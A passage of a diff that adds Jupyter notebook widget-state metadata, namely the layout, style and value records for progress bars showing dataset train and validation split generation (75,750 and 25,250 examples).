+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7732563834ed46dd8e19e520674f6cac": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "69be31cf3de941c4bf06a4e6359f387d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "59228c17fb39460aa14997c501c4c528": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_d39827e795f9429cb64945e1502a921e",
+              "IPY_MODEL_ada54ada913c4f4089eee58693114187",
+              "IPY_MODEL_b20d87aa3e3a4d92b341430f99b6b024"
+            ],
+            "layout": "IPY_MODEL_81305cbb90c14bc786948bb44dbf526c"
+          }
+        },
+        "d39827e795f9429cb64945e1502a921e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3e91f992f5b54955ab60166a40a987e5",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f241423e2fa04e7892b6eb47d2e2dceb",
+            "value": "Generating train split: 100%"
+          }
+        },
+        "ada54ada913c4f4089eee58693114187": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c663a31f4e6d4ac09c87af993cca9d42",
+            "max": 75750,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_1a2e6f5312a447098815e440921e8300",
+            "value": 75750
+          }
+        },
+        "b20d87aa3e3a4d92b341430f99b6b024": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d68f6fe6a47a4092b0b723814cdf1cf9",
+            "placeholder": "​",
+            "style": "IPY_MODEL_5a6861eb4b9146528fa37592cc731b78",
+            "value": " 75750/75750 [01:39&lt;00:00, 1027.45 examples/s]"
+          }
+        },
+        "81305cbb90c14bc786948bb44dbf526c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": "hidden",
+            "width": null
+          }
+        },
+        "3e91f992f5b54955ab60166a40a987e5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f241423e2fa04e7892b6eb47d2e2dceb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c663a31f4e6d4ac09c87af993cca9d42": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1a2e6f5312a447098815e440921e8300": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "d68f6fe6a47a4092b0b723814cdf1cf9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5a6861eb4b9146528fa37592cc731b78": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0acd2ec0c2a64e2997230aee8d6b9ef3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_01f46ddb169f4502877985907b2e1e79",
+              "IPY_MODEL_1512e241a3d64139b425a3455d296dea",
+              "IPY_MODEL_4f037323ba2b42b98690f3d91334396d"
+            ],
+            "layout": "IPY_MODEL_aabbc7f40589421da8bbc8db5d60e77c"
+          }
+        },
+        "01f46ddb169f4502877985907b2e1e79": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0fbacc4d6aba42e78c9860211748a856",
+            "placeholder": "​",
+            "style": "IPY_MODEL_10f639dda72d4b7d90c62818a72228af",
+            "value": "Generating validation split: 100%"
+          }
+        },
+        "1512e241a3d64139b425a3455d296dea": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5dd098e322264b2394134b40b7911cc1",
+            "max": 25250,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_1594e53020c44d53a034a61849f78dcc",
+            "value": 25250
+          }
+        },
+        "4f037323ba2b42b98690f3d91334396d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5840ce91a0444924b6c4163e69ae27e4",
+            "placeholder": "​",
+            "style": "IPY_MODEL_63a3932c41294fa29ef2c7f15778bed6",
+            "value": " 25250/25250 [01:15&lt;00:00, 361.28 examples/s]"
+          }
+        },
+        "aabbc7f40589421da8bbc8db5d60e77c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": "hidden",
+            "width": null
+          }
+        },
+        "0fbacc4d6aba42e78c9860211748a856": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "10f639dda72d4b7d90c62818a72228af": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5dd098e322264b2394134b40b7911cc1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1594e53020c44d53a034a61849f78dcc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "5840ce91a0444924b6c4163e69ae27e4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "63a3932c41294fa29ef2c7f15778bed6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "dfae6990fa884f9fa6f4c87c066ee755": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_321a0e1e91b64e0dad1d477a2c43e23e",
+              "IPY_MODEL_32e54fe28f2f4cccaff447ce9ef7c06f",
+              "IPY_MODEL_2b14498cf8b0494e9e2e0811b46f54bb"
+            ],
+            "layout": "IPY_MODEL_674e9f6cc69449cfba4945405595d701"
+          }
+        },
+        "321a0e1e91b64e0dad1d477a2c43e23e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_220d07d0e921487ab80efddc00fc2266",
+            "placeholder": "​",
+            "style": "IPY_MODEL_b9522ba2b7224356853cb6a7aad3ac9c",
+            "value": "100%"
+          }
+        },
+        "32e54fe28f2f4cccaff447ce9ef7c06f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_34a8a32af56f4a1fb533c10cf9fb19df",
+            "max": 2,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_d2124b2edfcd4a13ab43c80e8c47c370",
+            "value": 2
+          }
+        },
+        "2b14498cf8b0494e9e2e0811b46f54bb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_df00071dc70c4876a173d05fd3d69cc5",
+            "placeholder": "​",
+            "style": "IPY_MODEL_85b91e440a6c49ccabd656bf7f0aa460",
+            "value": " 2/2 [00:00&lt;00:00,  1.13it/s]"
+          }
+        },
+        "674e9f6cc69449cfba4945405595d701": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "220d07d0e921487ab80efddc00fc2266": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b9522ba2b7224356853cb6a7aad3ac9c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "34a8a32af56f4a1fb533c10cf9fb19df": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d2124b2edfcd4a13ab43c80e8c47c370": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "df00071dc70c4876a173d05fd3d69cc5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "85b91e440a6c49ccabd656bf7f0aa460": {
